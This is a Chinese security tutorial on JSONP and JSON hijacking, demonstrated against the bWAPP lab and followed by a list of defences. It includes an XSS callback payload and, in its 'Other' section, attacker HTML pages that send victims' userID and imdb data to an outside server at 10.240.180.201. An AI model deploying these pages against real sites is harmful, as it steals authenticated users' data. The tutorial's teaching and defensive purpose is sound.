JSONP劫持

× 文章目录
  1. 1. jsonp劫持
  2. 2. Callback 可定义导致的安全问题
  3. 3. json劫持
  4. 4. 解决方法
  5. 5. 其他
    1. 5.1. jsonp劫持,构造html页面,
    2. 5.2. json劫持,构造html页面
  6. 6. 火狐浏览器历史版本下载
  7. 7. 参考

jsonp劫持

jsonp是一个非官方的协议,全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。实现的基本原理是利用script元素的开放策略,网页可以得到从其他来源动态产生的json数据,因此可以用来实现跨域。

web程序如果通过JSONP的方式来跨域传递用户认证后的敏感信息时,攻击者完全可以在自己的虚假页面中发起恶意的jsonp请求,诱导被攻击者访问来达到截取用户敏感信息的目的。

1
2
3
4
5
<script>
function useUserInfo(v){
alert(v.username);
}
</script> <script src="http://www.test.com/userinfo?callback=useUserInfo"></script>

如果服务器端的userinfo接口支持jsonp,那就会使虚假页面成功执行useUserInfo函数,从而导致安全问题。

Callback 可定义导致的安全问题

在早期 JSON 出现时候,大家都没有合格的编码习惯。再输出 JSON 时,没有严格定义好 Content-Type( Content-Type: application/json )然后加上 callback 这个输出点没有进行过滤直接导致了一个典型的 XSS 漏洞

1
http://www.test.com/userinfo?callback=<script>alert(/xss/)</script>

json劫持

json劫持攻击又为”JSON Hijacking”,攻击过程有点类似于csrf,只不过csrf只管发送http请求,但是json-hijack的目的是获取敏感数据。

一些web应用会把一些敏感数据以json的形式返回到前端,攻击者通过伪装成受害者的浏览器,利用浏览器的授权(如身份验证cookie,类似csrf) 发出一个请求,这个请求可以到获取到拥有敏感数据的JSON数组。攻击者通过将请求的JSON数组载入到script中以替换重写成可执行的脚本语句,从而窃取到这些数据(脚本语句会将窃取到的数据发送给攻击者)。

在以下条件下,会出现这个漏洞:首先暴露JSON服务,并且该服务会返回敏感数据;返回JSON数组;对GET请求做出响应;发送这个请求的浏览器启用了JavaScript并且支持defineSetter方法。

这里以漏洞靶场bWAPP 为例

比如访问http://10.240.240.202:32769/sqli_10-2.php?title=Iron+Man在已登录的情况下会返回json格式的数据:

1
[{"0":"2","id":"2","1":"Iron Man","title":"Iron Man","2":"2008","release_year":"2008","3":"action","genre":"action","4":"Tony Stark","main_character":"Tony Stark","5":"tt0371746","imdb":"tt0371746","6":"53","tickets_stock":"53"}]

攻击者可以在自己的钓鱼虚假页面中,加入如下代码:

1
2
3
4
5
6
7
8
9
10
<html> 
...
<body>
<script type="text/javascript">
Object.prototype.__defineSetter__('imdb', function(obj){alert("imdb link is http://www.imdb.com/title/"+obj);}); //这里alert函数如果替换成危害更大的数据上传脚本,敏感数据就被泄露了

</script>
<script src="http://10.240.240.202:32769/sqli_10-2.php?title=Iron+Man"></script>
</body>
</html>

如果当前浏览器已经登录了bWAPP,并且cookie未过期,然后访问了攻击者的虚假页面,那么该页面就可以拿到json形式的用户敏感信息,因为script标签会自动解析json数据,生成对应的js对象。利用了__defineSetter__这个特殊方法在原型对象调用属性设置方法的时候进行覆盖,来触发自己的恶意代码。

但是这个函数在当前的新版本chrome和firefox中都已经失效了,Firefox 3.0.11测试成功。

解决方法

其实json劫持和jsonp劫持属于CSRF( Cross-site request forgery 跨站请求伪造)的攻击范畴,所以解决的方法和解决csrf的方法一样。

  1. 严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。
  2. 严格按照 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。
  3. 严格过滤 callback 函数名及 JSON 里数据的输出。
  4. 严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
  5. 其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。

其他

在服务器上开启web服务
http://10.240.180.201:39999

攻击者在页面中构造了自己的回调函数,如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面,将把获取的数据都发送到了自己的服务器上。

jsonp劫持,构造html页面,

1
2
3
4
5
6
7
8
9
10
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
function jsonphijack(result) {
data = result['data']['userID'];
new Image().src = "http://10.240.180.201:39999/JSONPHiJacking.php?userID=" + escape(data);//把数据发送到攻击者服务器上
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonphijack"></script>
</html>

json劫持,构造html页面

1
2
3
4
5
6
7
8
9
10
11
<html> 
...
<body>
<script type="text/javascript">
Object.prototype.__defineSetter__('imdb', function(obj){document.body.innerHTML = "<img src=http://10.240.180.201:39999/imdb=www.imdb.com/title/" + obj + " />";});
Object.prototype.__defineSetter__('imdb', function(obj){alert("imdb link is http://www.imdb.com/title/"+obj);});

</script>
<script src="http://10.240.240.202:32769/sqli_10-2.php?title=Iron+Man"></script>
</body>
</html>

火狐浏览器历史版本下载

http://ftp.mozilla.org/pub/firefox/releases/

参考

http://blog.knownsec.com/2015/03/jsonp_security_technic/

通过上面的攻防对抗演练,很多开发者可能会感觉有点悲剧的味道,各种防御机制好像都有办法绕过。这里我想到一个真理:没有绝对的安全!那么我们防御的意义在哪里呢?我认为防御的意义就是虽然没办法让开发的程序最安全(绝对安全),但是可以让它更安全!提高攻击者的技术成本的门槛是安全防御的一个主要的重要的方向。